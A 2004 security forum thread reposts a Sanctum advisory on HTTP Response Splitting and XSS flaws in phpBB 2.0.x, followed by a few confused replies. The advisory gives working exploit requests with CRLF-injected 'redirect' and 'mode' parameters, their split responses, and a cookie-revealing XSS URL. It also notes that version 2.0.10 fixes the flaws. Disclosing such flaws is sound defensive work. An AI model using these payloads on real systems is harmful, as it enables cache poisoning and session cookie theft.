Waraxe IT Security Portal
Login or Register
June 17, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 38
Members: 0
Total: 38
Full disclosure
SEC Consult SA-20250604-0 :: Local Privilege Escalation and Default Credentials in INDAMED - MEDICAL OFFICE (Medical practice management) Demo version
Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Defense in depth -- the Microsoft way (part 89): user grouppolicies don't deserve tamper protection
CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP Project v1.0
ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page
ERPNext v15.53.1 Stored XSS in user_image Field Allows Script Execution via Injected Image Path
Local information disclosure in apport and systemd-coredump
Stored XSS via File Upload - adaptcmsv3.0.3
IDOR "Change Password" Functionality - adaptcmsv3.0.3
Stored XSS "Send Message" Functionality - adaptcmsv3.0.3
Authenticated File Upload to RCE - adaptcmsv3.0.3
Stored XSS in "Description" Functionality - cubecartv6.5.9
Multiple Vulnerabilities in SAP GuiXT Scripting
CVE-2024-47081: Netrc credential leak in PSF requests library
Exploit CVE-2019-9978: Remote Code Execution in Social Warfare WordPress Plugin (<= 3.5.2)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> new phpbb exploit - HTTP Response Splitting
Post new topicReply to topic View previous topic :: View next topic
new phpbb exploit - HTTP Response Splitting
PostPosted: Mon Jul 26, 2004 10:51 pm Reply with quote
schnibble
Regular user
Regular user
Joined: Jul 07, 2004
Posts: 13




[edited by icenix]
[reason: some people who dont have accounts cant log in Wink (i have an account there Smile ]

Quote:


---------------------------------------------------------------------
---[ PhpBB HTTP Response Splitting & Cross Site Scripting vuln.
---------------------------------------------------------------------

--[ Author: Ory Segal , Sanctum inc. http://www.SanctumInc.com
--[ Discovery Date: 14/7/2004
--[ Release Date: 18/7/2004
--[ Product: PhpBB 2.0.x (was tested on 2.0.4, 2.0.9)
--[ Severity: High

--[ HTTP Response Splitting details

Two scripts are vulnerable to HTTP Response Splitting attacks:

- /phpBB2/privmsg.php ('mode' parameter)
- /phpBB2/login.php ('redirect' parameter)

These vulnerabilities may allow an attacker to perform various
attacks such as web cache poisoning, cross user defacement, hijacking
pages with sensitive user information and perform cross-site
scripting attacks.

--[ Cross Site Scripting details

When gpc magic quotes are turned off in php.ini, the script
'/phpBB2/search.php' is vulnerable to XSS in the 'search_author'
parameter. This vulnerability may lead to theft of cookies associated
with the domain, or execution of client-side scripts in the user's
browser.

--[ Additional information

Detailed information on HTTP Response Splitting can be found in the
white paper "HTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics" (Written by Amit Klein of Sanctum inc.)

http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf

Note [1]: The HTTP Response Splitting vulnerabilities do not require
the user to be logged in to the application.

Note [2]: These vulnerabilities were discovered on PhpBB 2.0.9,
installed on Win2K server with IIS/5.0, and PHP/4.3.4 (was also
validated on PHP/4.3.Cool

Note [3]: In theory these HTTP Response Splitting vulnerabilities
should work on Microsoft web servers, WebSTAR and Xitami.

--[ Exploit Requests / URLs

-[ XSS Example

The following request will present a pop-up window containing the
current session's cookies: (REQUEST IS WORD-WRAPPED!)

http://SERVER/phpBB2/search.php?search_aut...;alert(document
.cookie)</script>

-[ HTTP Response Splitting Example [1]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129

logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!
...
...
...

-[ HTTP Response Splitting Example [2]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
.php&folder=inbox&mode=foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
...
...
...
--[ Solution

According to the vendor, these issues are addressed in PhpBB 2.0.10



how does it works and what it does?
im a bit confused Embarassed
View user's profile Send private message
PostPosted: Wed Aug 18, 2004 4:55 pm Reply with quote
AMBALAS
Regular user
Regular user
Joined: Aug 17, 2004
Posts: 5




can someone explain this , its very interesting bug
View user's profile Send private message
PostPosted: Fri Aug 20, 2004 7:44 pm Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




no work Crying or Very sad
View user's profile Send private message Visit poster's website
new phpbb exploit - HTTP Response Splitting
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.030 Seconds